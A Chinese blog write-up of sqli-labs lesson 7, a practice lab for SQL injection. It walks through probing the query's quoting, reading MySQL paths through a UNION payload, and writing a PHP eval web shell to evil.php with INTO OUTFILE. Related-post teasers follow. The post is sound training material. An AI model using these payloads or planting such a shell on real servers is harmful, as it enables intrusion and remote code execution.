sqli-labs(四)
第七关:
输入?id=1 页面显示如下,可以看出这关大概是锻炼利用sql来写入一句话木马。

这里说我下我的探测流程(主要是为了知道后台的sql是怎样拼凑的):
输入?id=1' 报错 说明后台是用的单引符号进行的拼凑
输入?id=1'%23还是报错
输入?id=1')%23还是报错
输入?id=1'))%23 页面ok了,说明后台需要闭合两个括号,看后台实现

同时也可以看到这里报错信息是被注释掉了,也就是说查询不出结果了,报错联合查询和报错查询(以及双查询注入),只能使用盲注。但这关的重点不在这里,我们后面的关卡中会用到盲注的。这关主要是讲如何利用sql写入一句话。
第一步:
由于写入文件需要网站的物理路径(也就是绝对路径),这里需要先从其他关卡中获取路径(实际渗透过程中可以通过报错或其他情况获取路径)。
这里介绍两个mysql的内置变量 @@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id
这里先从第一关中获取路径,输入
?id=-1'union%20select%201,@@datadir,@@basedir%23

这里将一句话写入D:\phpstudy\PHPTutorial\下
开始写入的时候一直不成功,后来把报错信息打在页面上才发现mysql的配置信息中没有设置secure_file_priv,默认为null,代表不能导入文件
在my.ini中配置secure_file_priv=''即可,值得注意的是路径的\需要转义也就是\\。
第二步:输入一句话到evil.php中
?id=1')) union%20select%201,2,'<?php @eval($_GET["a"]); ?>'%20into%20outfile%20'D:\\phpstudy\\PHPTutorial\\evil.php'%20%23

这里代码执行成功了,之所以显示You have an error in your SQL syntax 是和程序有关,查询的行数为0时,会显示这句话,实际上sql并没有报错。
看后台,成功生成了一句话木马。

第三步:访问一句话

sqli-labs(四)的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli labs系列-less-4 这关好坑!!!
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- [No000016C]做企业分析的三个重要工具
个工具>这本书,内容很基础,但是逻辑很清晰.里面介绍了三个常用的分析方法:pest分析法.波特五力模型以及swot分析法,为脑袋里没有分析思路的人提供了分析框架. 故将这三个分析方法做成了思维导 ...
- [No0000109]Git2/9-安装Git
最早Git是在Linux上开发的,很长一段时间内,Git也只能在Linux和Unix系统上跑.不过,慢慢地有人把它移植到了Windows上.现在,Git可以在Linux.Unix.Mac和Window ...
- [No0000C9]神秘的掐指一算是什么?教教你也会
很多朋友看到传说中诸葛亮以及那些聪明人掐指一算,惊叹不已.那些人以“察天地之理.通鬼神之志”,每次占卜时,做一大堆的神秘仪式,然后掐指一算,便大有“乾坤尽收在手”的感觉.在普通人眼里,他们的手神秘异常 ...
- 2016年蓝桥杯省赛A组c++第5题(计算机组成原理)
/* 下面的代码把一个整数的二进制表示的最右边的连续的1全部变成0 如果最后一位是0,则原数字保持不变. 如果采用代码中的测试数据,应该输出: 0000000000000000000000000110 ...
- Runloop的再学习之浅析(一)
一,认识RunLoop 我的理解: 1. 在编程的世界里,万物皆对象.所以RunLoop 实际上也是一个对象,这个对象管理了其需要 处理的事件和消息,并提供了一个入口函数来执行上面 Event Loo ...
- Mac终端的Cocoapods的安装及使用
阅读目录 第一步,首先要检查Mac是否安装了rvm.打开终端,输入指令 rvm -v 第二步,用rvm安装ruby环境 第三步,检查更新RubyGems(Ruby1.9.1 以后的版本自带RubyGe ...
- [ovs][dpdk] ovs-dpdk, dpdk port 大量丢包
gdb了ovs的代码,发现是 dpdk的imiss计数在不断的丢包. 看了ovs-openvswitchd的日志,重启时发现如下行: --21T11::.427Z||timeval|WARN|Unre ...
- mybatis获取批量插入的主键自增id
一.写一个实体类 public class UserInfo { private long userId; private String userAccount; private String use ...
- django--验证码功能实现
首先建立验证码的视图函数1需要安装pillow库 #导入绘图库 from PIL import ImageDraw #导入绘图字体库 from PIL import ImageFont #导入图片库 ...
- python小练--使用正则表达式将json解析成dict
练习python语法,自己实现了一个简单的解析json字符,存为dict字典对象. { "id":12, "name":"jack", &q ...